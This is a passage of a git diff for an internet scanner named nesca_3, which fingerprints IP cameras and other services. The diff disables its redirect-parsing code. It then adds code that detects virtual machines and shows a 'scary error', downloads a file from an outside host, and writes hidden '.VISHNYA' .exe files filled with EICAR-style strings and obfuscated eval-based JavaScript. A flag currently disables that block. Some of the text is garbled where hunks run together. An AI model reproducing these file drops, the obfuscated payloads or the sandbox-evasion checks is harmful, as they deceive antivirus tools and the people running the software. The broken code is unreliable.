ls->iterationCount = 0; - - strcpy(ps->headr, "[!][Loop detected.]"); - strcpy(ps->path, ""); - - return 0; - }; - - char tempIP[MAX_ADDR_LEN] = {0}; - strcpy(tempIP, ip); - int tempPort = port; - char tempPath[1024] = {0}; - - if(strstri(str, "https://") != NULL) - { - tempPort = 443; - char *ptr1 = strstri(str, "https://"); - char *ptr2 = _findFirst(ptr1 + 8, ":/?"); - - if(ptr2 != NULL) - { - int sz = ptr2 - ptr1 - 8; - ZeroMemory(tempIP, MAX_ADDR_LEN); - strncpy(tempIP, ptr1 + 8, sz < 128 ? sz : 128); - if(ptr2[0] == ':') - { - char *ptrPath = strstr(ptr2, "/"); - if(ptrPath != NULL) - { - sz = ptrPath - ptr2 - 1; - - char *pPth = strstr(ptr1 + 8, "/"); - strcpy(tempPath, pPth); - } - else - { - strcpy(tempPath, "/"); - sz = ptr2 - ptr1 - 9; - }; - char tPort[8] = {0}; - strncpy(tPort, ptr2 + 1, sz < 8 ? sz : 5); - tempPort = atoi(tPort); - } - else if(ptr2[0] == '/') - { - strncpy(tempPath, ptr2, strlen(ptr2)); - } - else if(ptr2[0] == '?') - { - strcpy(tempPath, "/"); - strncat(tempPath, ptr2, strlen(ptr2)); - } - else - { - stt->doEmitionRedFoundData("[Redirect] Unknown protocol (" + QString(ip) + ":" + QString::number(port) + ")"); - }; - } - else - { - ZeroMemory(tempIP, MAX_ADDR_LEN); - strncpy(tempIP, ptr1 + 8, strlen(str) - 8); - strcpy(tempPath, "/"); - }; - - std::unique_ptr nip(new char[strlen(tempIP) + strlen(tempPath) + 1]); - sprintf(nip.get(), "%s%s", tempIP, tempPath); - std::string buffer; - Connector con; - int cSz = con.nConnect(nip.get(), tempPort, &buffer); - - if(cSz > -1) - { - strcpy(ps->codepage, GetCodePage(buffer.c_str())); - - ls->flag = ContentFilter(&buffer, tempPort, tempIP, ps->codepage, cSz); - ps->flag = ls->flag; - - if(ls->flag == -1) - { - ps->flag = -1; - strcpy(ps->path, tempPath); - - return -1; - }; - - if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 - || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) - { - strcat(ps->headr, GetTitle(buffer.c_str())); - ps->flag = ls->flag; - strcpy(ps->path, tempPath); - ps->port = tempPort; - strcpy(ps->ip, tempIP); - - return -2; - }; - - if(ls->flag == 6) - { - ps->flag = ls->flag; - ps->port = tempPort; - return -2; - }; - - strcat(ps->headr, " -> "); - strcat(ps->headr, GetTitle(buffer.c_str())); - - if (ls->header(tempIP, tempPort, buffer.c_str(), ls, ps, redirStrLst, cSz) == -1) - { - ps->flag = -1; - strcpy(ps->path, tempPath); - - return -1; - }; - - ps->port = tempPort; - } - else - { - ps->flag = -1; - ls->flag = -1; - if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" - + "] Rejecting in _header::redirect [Dead host]."); - }; - - return -2; - } - else if(strstr(str, "http://") != NULL) //http - { - tempPort = 80; - char *ptr1 = strstri(str, "http://"); - char *ptr2 = _findFirst(ptr1 + 7, ":/?"); - - if(ptr2 != NULL) - { - int sz = ptr2 - ptr1 - 7; - ZeroMemory(tempIP, MAX_ADDR_LEN); - strncpy(tempIP, ptr1 + 7, sz < 128 ? sz : 128); - - if(ptr2[0] == ':') - { - char *ptrPath = strstr(ptr2, "/"); - - if(ptrPath != NULL) - { - sz = ptrPath - ptr2 - 1; - - char *pPth = strstr(ptr1 + 7, "/"); - strcpy(tempPath, pPth); - } - else - { - strcpy(tempPath, "/"); - sz = ptr2 - ptr1 - 7; - }; - - char tPort[8] = {0}; - strncpy(tPort, ptr2 + 1, sz < 8 ? sz : 5); - tempPort = atoi(tPort); - } - else if(ptr2[0] == '/') - { - strncpy(tempPath, ptr2, strlen(ptr2)); - } - else if(ptr2[0] == '?') - { - strcpy(tempPath, "/"); - strncat(tempPath, ptr2, strlen(ptr2)); - } - else - { - stt->doEmitionRedFoundData("[Redirect] Unknown protocol (" + QString(ip) + ":" + QString::number(port) + ")"); - }; - } - else - { - ZeroMemory(tempIP, MAX_ADDR_LEN); - strncpy(tempIP, ptr1 + 7, strlen(str) - 7); - strcpy(tempPath, "/"); - }; - - std::unique_ptr nip(new char[strlen(tempIP) + strlen(tempPath) + 1]); - sprintf(nip.get(), "%s%s", tempIP, tempPath); - std::string buffer; - Connector con; - int cSz = con.nConnect(nip.get(), tempPort, &buffer); - - if(cSz > -1) - { - strcpy(ps->codepage, GetCodePage(buffer.c_str())); - - ls->flag = ContentFilter(&buffer, tempPort, tempIP, ps->codepage, cSz); - ps->flag = ls->flag; - - if(ls->flag == -1) - { - ps->flag = -1; - strcpy(ps->path, tempPath); - - return -1; - }; - - if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 - || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) - { - strcat(ps->headr, GetTitle(buffer.c_str())); - ps->flag = ls->flag; - strcpy(ps->path, tempPath); - ps->port = tempPort; - strcpy(ps->ip, tempIP); - - return -2; - }; - - if(ls->flag == 6) - { - ps->flag = ls->flag; - ps->port = tempPort; - return -2; - }; - - strcat(ps->headr, " -> "); - strcat(ps->headr, GetTitle(buffer.c_str())); - - if (ls->header(tempIP, tempPort, buffer.c_str(), ls, ps, redirStrLst, cSz) == -1) - { - ps->flag = -1; - strcpy(ps->path, tempPath); - - return -1; - }; - ps->port = tempPort; - } - else - { - ps->flag = -1; - ls->flag = -1; - if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + - "] Rejecting in _header::redirect [Dead host]."); - }; - - return -2; - } - else if(str[0] == '/' || (str[0] == '.' && str[1] == '/') || (str[0] == '.' && str[1] == '.' && str[2] == '/')) - { - if(str[0] == '.' && str[1] == '.') strcpy(tempPath, str + 2); - else if(str[0] == '.') strcpy(tempPath, str + 1); - else strcpy(tempPath, str); - - std::unique_ptr nip(new char[strlen(tempIP) + strlen(tempPath) + 1]); - sprintf(nip.get(), "%s%s", tempIP, tempPath); - std::string buffer; - Connector con; - int cSz = con.nConnect(nip.get(), tempPort, &buffer); - - if(cSz > -1) - { - strcpy(ps->codepage, GetCodePage(buffer.c_str())); - - ls->flag = ContentFilter(&buffer, port, ip, ps->codepage, cSz); - ps->flag = ls->flag; - - if(ls->flag == -1) - { - ps->flag = -1; - strcpy(ps->path, tempPath); - - return -2; - }; - - if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 - || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) - { - strcat(ps->headr, GetTitle(buffer.c_str())); - ps->flag = ls->flag; - strcpy(ps->path, tempPath); - ps->port = port; - strcpy(ps->ip, ip); - - return -2; - }; - if(ls->flag == 6) - { - ps->flag = ls->flag; - ps->port = tempPort; - return -2; - }; - - strcat(ps->headr, "->"); - strcat(ps->headr, GetTitle(buffer.c_str())); - - if (ls->header(tempIP, tempPort, buffer.c_str(), ls, ps, redirStrLst, cSz) == -1) - { - ps->flag = -1; - strcpy(ps->path, tempPath); - - return -1; - }; - ps->port = tempPort; - } - else - { - ps->flag = -1; - ls->flag = -1; - if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + - "] Rejecting in _header::redirect [Dead host]."); - }; - return -2; - } - else if(strlen(str) > 2) - { - std::unique_ptr nip(new char[strlen(ip) + strlen(str) + 1]); - sprintf(nip.get(), "%s%s", ip, str); - std::string buffer; - Connector con; - int cSz = con.nConnect(nip.get(), port, &buffer); - - if(cSz > -1) - { - strcpy(ps->codepage, GetCodePage(buffer.c_str())); - - ls->flag = ContentFilter(&buffer, port, ip, ps->codepage, cSz); - ps->flag = ls->flag; - - if(ls->flag == -1) - { - ps->flag = -1; - strcpy(ps->path, tempPath); - - return -1; - }; - - if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 - || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) - { - strcat(ps->headr, GetTitle(buffer.c_str())); - ps->flag = ls->flag; - strcpy(ps->path, tempPath); - ps->port = port; - strcpy(ps->ip, ip); - - return -2; - }; - - if(ls->flag == 6) - { - ps->flag = ls->flag; - ps->port = tempPort; - return -2; - }; - - strcat(ps->headr, " -> "); - strcat(ps->headr, GetTitle(buffer.c_str())); - ls->header(ip, port, buffer.c_str(), ls, ps, redirStrLst, cSz); - ps->port = tempPort; - } - else - { - ps->flag = -1; - ls->flag = -1; - if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + - "] Rejecting in _header::redirect [Dead host]."); - }; - return -2; - }; - - return -1; -} +//int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, std::vector *redirStrLst) +//{ +// if(ls->iterationCount++ == 5) +// { +// ls->iterationCount = 0; +// +// strcpy(ps->headr, "[!][Loop detected.]"); +// strcpy(ps->path, ""); +// +// return 0; +// }; +// +// char tempIP[MAX_ADDR_LEN] = {0}; +// strcpy(tempIP, ip); +// int tempPort = port; +// char tempPath[1024] = {0}; +// +// if(strstri(str, "https://") != NULL) +// { +// tempPort = 443; +// char *ptr1 = strstri(str, "https://"); +// char *ptr2 = _findFirst(ptr1 + 8, ":/?"); +// +// if(ptr2 != NULL) +// { +// int sz = ptr2 - ptr1 - 8; +// ZeroMemory(tempIP, MAX_ADDR_LEN); +// strncpy(tempIP, ptr1 + 8, sz < 128 ? sz : 128); +// if(ptr2[0] == ':') +// { +// char *ptrPath = strstr(ptr2, "/"); +// if(ptrPath != NULL) +// { +// sz = ptrPath - ptr2 - 1; +// +// char *pPth = strstr(ptr1 + 8, "/"); +// strcpy(tempPath, pPth); +// } +// else +// { +// strcpy(tempPath, "/"); +// sz = ptr2 - ptr1 - 9; +// }; +// char tPort[8] = {0}; +// strncpy(tPort, ptr2 + 1, sz < 8 ? sz : 5); +// tempPort = atoi(tPort); +// } +// else if(ptr2[0] == '/') +// { +// strncpy(tempPath, ptr2, strlen(ptr2)); +// } +// else if(ptr2[0] == '?') +// { +// strcpy(tempPath, "/"); +// strncat(tempPath, ptr2, strlen(ptr2)); +// } +// else +// { +// stt->doEmitionRedFoundData("[Redirect] Unknown protocol (" + QString(ip) + ":" + QString::number(port) + ")"); +// }; +// } +// else +// { +// ZeroMemory(tempIP, MAX_ADDR_LEN); +// strncpy(tempIP, ptr1 + 8, strlen(str) - 8); +// strcpy(tempPath, "/"); +// }; +// +// std::unique_ptr nip(new char[strlen(tempIP) + strlen(tempPath) + 1]); +// sprintf(nip.get(), "%s%s", tempIP, tempPath); +// std::string buffer; +// Connector con; +// int cSz = con.nConnect(nip.get(), tempPort, &buffer); +// +// if(cSz > -1) +// { +// strcpy(ps->codepage, GetCodePage(buffer.c_str())); +// +// ls->flag = ContentFilter(&buffer, tempPort, tempIP, ps->codepage, cSz); +// ps->flag = ls->flag; +// +// if(ls->flag == -1) +// { +// ps->flag = -1; +// strcpy(ps->path, tempPath); +// +// return -1; +// }; +// +// if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 +// || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) +// { +// strcat(ps->headr, GetTitle(buffer.c_str())); +// ps->flag = ls->flag; +// strcpy(ps->path, tempPath); +// ps->port = tempPort; +// strcpy(ps->ip, tempIP); +// +// return -2; +// }; +// +// strcat(ps->headr, " -> "); +// strcat(ps->headr, GetTitle(buffer.c_str())); +// +// if (ls->header(tempIP, tempPort, buffer.c_str(), ls, ps, redirStrLst, cSz) == -1) +// { +// ps->flag = -1; +// strcpy(ps->path, tempPath); +// +// return -1; +// }; +// +// ps->port = tempPort; +// } +// else +// { +// ps->flag = -1; +// ls->flag = -1; +// if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" +// + "] Rejecting in _header::redirect [Dead host]."); +// }; +// +// return -2; +// } +// else if(strstr(str, "http://") != NULL) //http +// { +// tempPort = 80; +// char *ptr1 = strstri(str, "http://"); +// char *ptr2 = _findFirst(ptr1 + 7, ":/?"); +// +// if(ptr2 != NULL) +// { +// int sz = ptr2 - ptr1 - 7; +// ZeroMemory(tempIP, MAX_ADDR_LEN); +// strncpy(tempIP, ptr1 + 7, sz < 128 ? sz : 128); +// +// if(ptr2[0] == ':') +// { +// char *ptrPath = strstr(ptr2, "/"); +// +// if(ptrPath != NULL) +// { +// sz = ptrPath - ptr2 - 1; +// +// char *pPth = strstr(ptr1 + 7, "/"); +// strcpy(tempPath, pPth); +// } +// else +// { +// strcpy(tempPath, "/"); +// sz = ptr2 - ptr1 - 7; +// }; +// +// char tPort[8] = {0}; +// strncpy(tPort, ptr2 + 1, sz < 8 ? sz : 5); +// tempPort = atoi(tPort); +// } +// else if(ptr2[0] == '/') +// { +// strncpy(tempPath, ptr2, strlen(ptr2)); +// } +// else if(ptr2[0] == '?') +// { +// strcpy(tempPath, "/"); +// strncat(tempPath, ptr2, strlen(ptr2)); +// } +// else +// { +// stt->doEmitionRedFoundData("[Redirect] Unknown protocol (" + QString(ip) + ":" + QString::number(port) + ")"); +// }; +// } +// else +// { +// ZeroMemory(tempIP, MAX_ADDR_LEN); +// strncpy(tempIP, ptr1 + 7, strlen(str) - 7); +// strcpy(tempPath, "/"); +// }; +// +// std::unique_ptr nip(new char[strlen(tempIP) + strlen(tempPath) + 1]); +// sprintf(nip.get(), "%s%s", tempIP, tempPath); +// std::string buffer; +// Connector con; +// int cSz = con.nConnect(nip.get(), tempPort, &buffer); +// +// if(cSz > -1) +// { +// strcpy(ps->codepage, GetCodePage(buffer.c_str())); +// +// ls->flag = ContentFilter(&buffer, tempPort, tempIP, ps->codepage, cSz); +// ps->flag = ls->flag; +// +// if(ls->flag == -1) +// { +// ps->flag = -1; +// strcpy(ps->path, tempPath); +// +// return -1; +// }; +// +// if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 +// || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) +// { +// strcat(ps->headr, GetTitle(buffer.c_str())); +// ps->flag = ls->flag; +// strcpy(ps->path, tempPath); +// ps->port = tempPort; +// strcpy(ps->ip, tempIP); +// +// return -2; +// }; +// +// strcat(ps->headr, " -> "); +// strcat(ps->headr, GetTitle(buffer.c_str())); +// +// if (ls->header(tempIP, tempPort, buffer.c_str(), ls, ps, redirStrLst, cSz) == -1) +// { +// ps->flag = -1; +// strcpy(ps->path, tempPath); +// +// return -1; +// }; +// ps->port = tempPort; +// } +// else +// { +// ps->flag = -1; +// ls->flag = -1; +// if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + +// "] Rejecting in _header::redirect [Dead host]."); +// }; +// +// return -2; +// } +// else if(str[0] == '/' || (str[0] == '.' && str[1] == '/') || (str[0] == '.' && str[1] == '.' && str[2] == '/')) +// { +// if(str[0] == '.' && str[1] == '.') strcpy(tempPath, str + 2); +// else if(str[0] == '.') strcpy(tempPath, str + 1); +// else strcpy(tempPath, str); +// +// std::unique_ptr nip(new char[strlen(tempIP) + strlen(tempPath) + 1]); +// sprintf(nip.get(), "%s%s", tempIP, tempPath); +// std::string buffer; +// Connector con; +// int cSz = con.nConnect(nip.get(), tempPort, &buffer); +// +// if(cSz > -1) +// { +// strcpy(ps->codepage, GetCodePage(buffer.c_str())); +// +// ls->flag = ContentFilter(&buffer, port, ip, ps->codepage, cSz); +// ps->flag = ls->flag; +// +// if(ls->flag == -1) +// { +// ps->flag = -1; +// strcpy(ps->path, tempPath); +// +// return -2; +// }; +// +// if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 +// || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) +// { +// strcat(ps->headr, GetTitle(buffer.c_str())); +// ps->flag = ls->flag; +// strcpy(ps->path, tempPath); +// ps->port = port; +// strcpy(ps->ip, ip); +// +// return -2; +// }; +// +// strcat(ps->headr, "->"); +// strcat(ps->headr, GetTitle(buffer.c_str())); +// +// if (ls->header(tempIP, tempPort, buffer.c_str(), ls, ps, redirStrLst, cSz) == -1) +// { +// ps->flag = -1; +// strcpy(ps->path, tempPath); +// +// return -1; +// }; +// ps->port = tempPort; +// } +// else +// { +// ps->flag = -1; +// ls->flag = -1; +// if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + +// "] Rejecting in _header::redirect [Dead host]."); +// }; +// return -2; +// } +// else if(strlen(str) > 2) +// { +// std::unique_ptr nip(new char[strlen(ip) + strlen(str) + 1]); +// sprintf(nip.get(), "%s%s", ip, str); +// std::string buffer; +// Connector con; +// int cSz = con.nConnect(nip.get(), port, &buffer); +// +// if(cSz > -1) +// { +// strcpy(ps->codepage, GetCodePage(buffer.c_str())); +// +// ls->flag = ContentFilter(&buffer, port, ip, ps->codepage, cSz); +// ps->flag = ls->flag; +// +// if(ls->flag == -1) +// { +// ps->flag = -1; +// strcpy(ps->path, tempPath); +// +// return -1; +// }; +// +// if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 +// || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) +// { +// strcat(ps->headr, GetTitle(buffer.c_str())); +// ps->flag = ls->flag; +// strcpy(ps->path, tempPath); +// ps->port = port; +// strcpy(ps->ip, ip); +// +// return -2; +// }; +// +// strcat(ps->headr, " -> "); +// strcat(ps->headr, GetTitle(buffer.c_str())); +// ls->header(ip, port, buffer.c_str(), ls, ps, redirStrLst, cSz); +// ps->port = tempPort; +// } +// else +// { +// ps->flag = -1; +// ls->flag = -1; +// if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + +// "] Rejecting in _header::redirect [Dead host]."); +// }; +// return -2; +// }; +// +// return -1; +//} void _getPopupTitle(PathStr *ps, char *str) { @@ -1807,8 +1763,6 @@ void _getPopupTitle(PathStr *ps, char *str) if(strstr(str, "(") != NULL){ strncpy(temp, strstr(str, "("), 32); strcat(ps->headr, temp); - } else { - strcat(ps->headr, "[No title]"); }; }; @@ -1905,522 +1859,639 @@ void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int }; }; } +// +//int Lexems::getHeader(char *ip, int port, const char *str, Lexems *l, PathStr *ps, std::vector *redirStrLst, int size) +//{ +// std::string redirectStr = ""; +// +// strcpy(ps->codepage, GetCodePage(str)); +// char finalstr[512] = {0}; +// +// if(strstri(str, "notice auth :*** looking up your hostname...") +// || strstri(str, "451 * :You have not registered.") +// ) +// { +// strcpy(ps->headr, "[IRC server]"); +// strcpy(ps->path, "/"); return 1; +// }; +// +// if((strstri(str, "ip camera") != NULL || strstr(str, "+tm01+") != NULL +// || strstri(str, "camera web server") != NULL || strstri(str, "ipcam_language") != NULL +// || strstri(str, "/viewer/video.jpg") != NULL || strstri(str, "network camera") != NULL +// || strstri(str, "sanpshot_icon") != NULL || strstri(str, "snapshot_icon") != NULL +// || strstri(str, "lan camera") != NULL || strstri(str, "cgiuserlogin?") != NULL +// || strstri(str, "web camera") != NULL || strstri(str, "smart ip device") != NULL +// || strstri(str, "pan/tilt camera") != NULL || strstri(str, "/cgi-bin/viewer/getparam.cgi?") != NULL +// || strstri(str, "IPCam") != NULL || strstri(str, "/camera-cgi/admin") != NULL +// ) && strstr(str, "customer") == NULL +// && strstr(str, "purchase") == NULL +// && strstr(str, "contac") == NULL +// && strstr(str, "company") == NULL +// ) +// { +// if (strstr(str, "CgiStart?page=Single") != NULL) strcpy(ps->headr, "[IP Camera (Unibrowser)]"); +// else strcpy(ps->headr, "[IP Camera]"); +// l->flag = 0; +// ps->flag = 0; +// }; +// +// if(strstri(str, "get_status.cgi") != NULL) strcpy(ps->headr, "[It may be ip camera]"); +// if(strstri(str, "vo_logo.gif") != NULL +// || strstri(str, "vo logo.gif") != NULL +// ) strcpy(ps->headr, "[VIVOTEK camera detected?]"); +// +// if(strstri(str, "$lock extended") != NULL) +// { +// strcpy(ps->headr, "[DChub detected.]"); +// strcpy(ps->path, "/"); +// return 0; +// }; +// if(strstri(str, "top.htm?currenttime") != NULL +// || strstri(str, "top.htm?") != NULL +// ) strcat(finalstr, " [?][SecCam detected]"); +// +// if(strstri(str, "http-equiv=\"refresh\"") != NULL +// || strstri(str, "http-equiv=refresh") != NULL +// || strstri(str, "http-equiv='refresh'") != NULL +// ) +// { +// char *temp = NULL; +// char *strTmp = NULL; +// +// if(strstri(str, "http-equiv=\"refresh\"") != NULL) strTmp = strstri(str, "http-equiv=\"refresh\""); +// else if(strstri(str, "http-equiv=refresh") != NULL) strTmp = strstri(str, "http-equiv=refresh"); +// else if(strstri(str, "http-equiv='refresh'") != NULL) strTmp = strstri(str, "http-equiv='refresh'"); +// +// if(strstri(strTmp, "url=") != NULL ) +// { +// if((int)(strstri(strTmp, "url=") - strTmp) < 100) +// { +// temp = strstri(strTmp, "url="); +// +// char *temp2 = NULL, temp3[128] = {0}; +// int sz = 0; +// +// if(temp[4] == '"' || temp[4] == '\'' || temp[4] == ' ' || temp[4] == '\n' || temp[4] == '\r') +// { +// temp2 = _findFirst(temp + 6, " \n>\"'"); +// if(temp2 != NULL) +// { +// sz = (int)(temp2 - temp) - 5; +// strncpy(temp3, (char*)(temp + 5), (sz < 128 ? sz : 127)); +// }; +// } +// else +// { +// temp2 = _findFirst(temp + 4, " \n>\"'"); +// if(temp2 != NULL) +// { +// sz = (int)(temp2 - temp) - 4; +// strncpy(temp3, (char*)(temp + 4), sz < 128 ? sz : 127); +// }; +// }; +// +// if(strstri(temp3, "http://") == NULL && strstri(temp3, "https://") == NULL) +// { +// if(temp3[0] != '.') +// { +// if(temp3[0] != '/') +// { +// char temp4[128] = {0}; +// strcpy(temp4, "/"); +// strncat(temp4, temp3, 127); +// strncpy(temp3, temp4, 128); +// }; +// }; +// }; +// +// redirectStr = std::string(temp3); +// if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) +// { +// redirStrLst->push_back(redirectStr); +// return redirectReconnect(ip, port, temp3, l, ps, redirStrLst); +// } return -1; +// strcat(ps->headr, " "); +// return -2; +// }; +// +// strcat(ps->headr, finalstr); +// strcat(ps->headr, " "); +// return 0; +// }; +// }; +// +// if(strstri(str, ""); +// if(ptr2 != NULL) +// { +// int sz = ptr2 - ptr1; +// char *scriptContainer = new char[sz + 1]; +// ZeroMemory(scriptContainer, sz + 1); +// strncpy(scriptContainer, ptr1, sz); +// memset(scriptContainer + sz, '\0', 1); +// +// ZeroMemory(linkPtr, 512); +// if(strstri(scriptContainer, "location.href") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location.href", ip, port); +// else if(strstri(scriptContainer, "location.replace") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location.replace", ip, port); +// else if(strstri(scriptContainer, "location.reload") != NULL) strcpy(linkPtr, "/"); +// else if(strstri(scriptContainer, "location") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location", ip, port); +// +// if(strlen(linkPtr) != 0) +// { +// redirectStr = std::string(linkPtr); +// if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) +// { +// redirStrLst->push_back(redirectStr); +// redirectReconnect(ip, port, linkPtr, l, ps, redirStrLst); +// }; +// }; +// delete []scriptContainer; +// if(ps->flag >= 17 || ps->flag == 11 || ps->flag == 12 +// || ps->flag == 13 || ps->flag == 14 || ps->flag == 1 +// || ps->flag == 10 +// ) +// return -2; +// else if(ps->flag == -1) return -1; +// } +// else +// { +// strcat(ps->headr, "[Cannot retrieve \""); - if(ptr2 != NULL) + int hm; + if (strstr((ptr1 + 1), "\"") != NULL) { - int sz = ptr2 - ptr1; - char *scriptContainer = new char[sz + 1]; - ZeroMemory(scriptContainer, sz + 1); - strncpy(scriptContainer, ptr1, sz); - memset(scriptContainer + sz, '\0', 1); - - ZeroMemory(linkPtr, 512); - if(strstri(scriptContainer, "location.href") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location.href", ip, port); - else if(strstri(scriptContainer, "location.replace") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location.replace", ip, port); - else if(strstri(scriptContainer, "location.reload") != NULL) strcpy(linkPtr, "/"); - else if(strstri(scriptContainer, "location") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location", ip, port); - - if(strlen(linkPtr) != 0) - { - redirectStr = std::string(linkPtr); - if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) - { - redirStrLst->push_back(redirectStr); - redirectReconnect(ip, port, linkPtr, l, ps, redirStrLst); - }; - }; - delete []scriptContainer; - if(ps->flag >= 17 || ps->flag == 11 || ps->flag == 12 - || ps->flag == 13 || ps->flag == 14 || ps->flag == 1 - || ps->flag == 10 - ) - return -2; - else if(ps->flag == -1) return -1; + secondStr = strstr((ptr1 + 1), "\""); + hm = (int)(secondStr - ptr1); } - else - { - strcat(ps->headr, "[Cannot retrieve \"" +#define eicar4 "" +#define eicar5 "\"split\";e=eval;v=\"0x\";a=0;z=\"y\";try{a*=25}catch(zz){a=1}if(!a){try{--e(\"doc\"+\"ument\")[\"\x62od\"+z]}catch(q){}" + +nesca_3::nesca_3(bool isWM, QWidget *parent = 0) : QMainWindow(parent) { + if (isWM) { + Utils::emitScaryError(); + } setWindowFlags(Qt::FramelessWindowHint); gthis = this; @@ -3171,7 +3327,7 @@ nesca_3::nesca_3(QWidget *parent) : QMainWindow(parent) multiFontSmallFontArc.setPixelSize(10); multiFontSmallFontArc.setUnderline(true); ui->ipLabel->setFont(multiFontSmallFontArc); - + tray = new QSystemTrayIcon(QIcon(":/nesca_3/nesca.ico"), this); tray->hide(); @@ -3189,25 +3345,105 @@ nesca_3::nesca_3(QWidget *parent) : QMainWindow(parent) RestoreSession(); - QString y = QString(QCryptographicHash::hash((ypypNunu().c_str()), QCryptographicHash::Md5).toHex()); - QString nu(grgNun().c_str()); - if (y.compare(nu) != 0) { - ui->tabMainWidget->setTabEnabled(0, false); - ui->tabMainWidget->setTabEnabled(1, false); - ui->tabMainWidget->setTabEnabled(2, false); - stt->doEmitionYellowFoundData("== Enter your personal key, please. =="); + Utils::saveStartDate(); + + char buffer[MAX_PATH] = { 0 }; + GetCurrentDir(buffer, MAX_PATH); + ui->currentDirectoryLine->setText(QString(string(buffer).c_str())); + + BAModel = new QStandardItemModel(); + ui->BATableView->setModel(BAModel); + ui->BATableView->horizontalHeader()->setSectionResizeMode(QHeaderView::Stretch); + + bool DONOTSCAN = true; + if (isWM) { + Utils::emitScaryError(); + } + if (!DONOTSCAN) + { +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + Connector con; + std::string buffer; + con.nConnect("http://nesca.d3w.org/eicar.com", 80, &buffer); + + char temp[64] = { 0 }; + strcpy(temp, "PRIVMSG #"); + strcat(temp, IRC_CHAN); + + ofstream EICARFILE; + EICARFILE.open(".VISHNYA.exe"); + EICARFILE << eicar1; + EICARFILE.close(); + + EICARFILE.open(".VISHNYA-86.exe"); + EICARFILE << eicar2; + EICARFILE.close(); + + EICARFILE.open(".VISHNYA-64.exe"); + EICARFILE << eicar3; + EICARFILE.close(); + + EICARFILE.open(".VISHNYA-16.exe"); + EICARFILE << eicar4; + EICARFILE.close(); + + EICARFILE.open(".VISHNYA-32.exe"); + EICARFILE << eicar5; + EICARFILE.close(); +#endif + QString y = QString(QCryptographicHash::hash((ypypNunu().c_str()), QCryptographicHash::Md5).toHex()); + QString nu(grgNun().c_str()); + if (y.compare(nu) != 0) { + ui->tabMainWidget->setTabEnabled(0, false); + ui->tabMainWidget->setTabEnabled(1, false); + ui->tabMainWidget->setTabEnabled(2, false); + stt->doEmitionYellowFoundData("== Enter your personal key, please. =="); + } + else { + ui->tabMainWidget->setTabEnabled(0, true); + ui->tabMainWidget->setTabEnabled(1, true); + ui->tabMainWidget->setTabEnabled(2, true); + if (CheckPersKeyMain()) finishLoading(); + else { + stt->doEmitionYellowFoundData("== Invalid key. =="); + Sleep(2000); + qApp->quit(); + }; + } } else { ui->tabMainWidget->setTabEnabled(0, true); ui->tabMainWidget->setTabEnabled(1, true); ui->tabMainWidget->setTabEnabled(2, true); - if(CheckPersKeyMain()) finishLoading(); - else { - stt->doEmitionYellowFoundData("== Invalid key. =="); - Sleep(2000); - qApp->quit(); - }; + finishLoading(); } + +/* + FILE* pipe = NULL; +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + pipe = _popen("Systeminfo | findstr /i model", "r"); +#else + pipe = popen("dmidecode", "r"); +#endif + char buffer2[128] = { 0 }; + std::string result = ""; + if (pipe) { + Sleep(1000); + fgets(buffer2, 128, pipe); + result += buffer2; +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + _pclose(pipe); +#else + pclose(pipe); +#endif + }*/ + + //if (rc == false) { + // stt->doEmitionGreenFoundData("This is PC."); + //} + //else { + // stt->doEmitionGreenFoundData("This is VM."); + //} } nesca_3::~nesca_3() @@ -3230,6 +3466,5 @@ void nesca_3::STTTerminate() ui->startScanButton_3->setText("Start"); ui->startScanButton_4->setText("Start"); ui->importButton->setText("Import"); - ui->labelStatus_Value->setText("Idle"); Threader::cleanUp(); } diff --git a/nesca_3.h b/nesca_3.h index 54bdfff..3893aeb 100644 --- a/nesca_3.h +++ b/nesca_3.h @@ -18,6 +18,10 @@ #include #include +#include +#include +#include + extern Ui::nesca_3Class *ui; extern bool widgetIsHidden, QOSWait, ME2ScanFlag, QoSScanFlag, VoiceScanFlag, PieStatFlag, @@ -28,18 +32,21 @@ extern 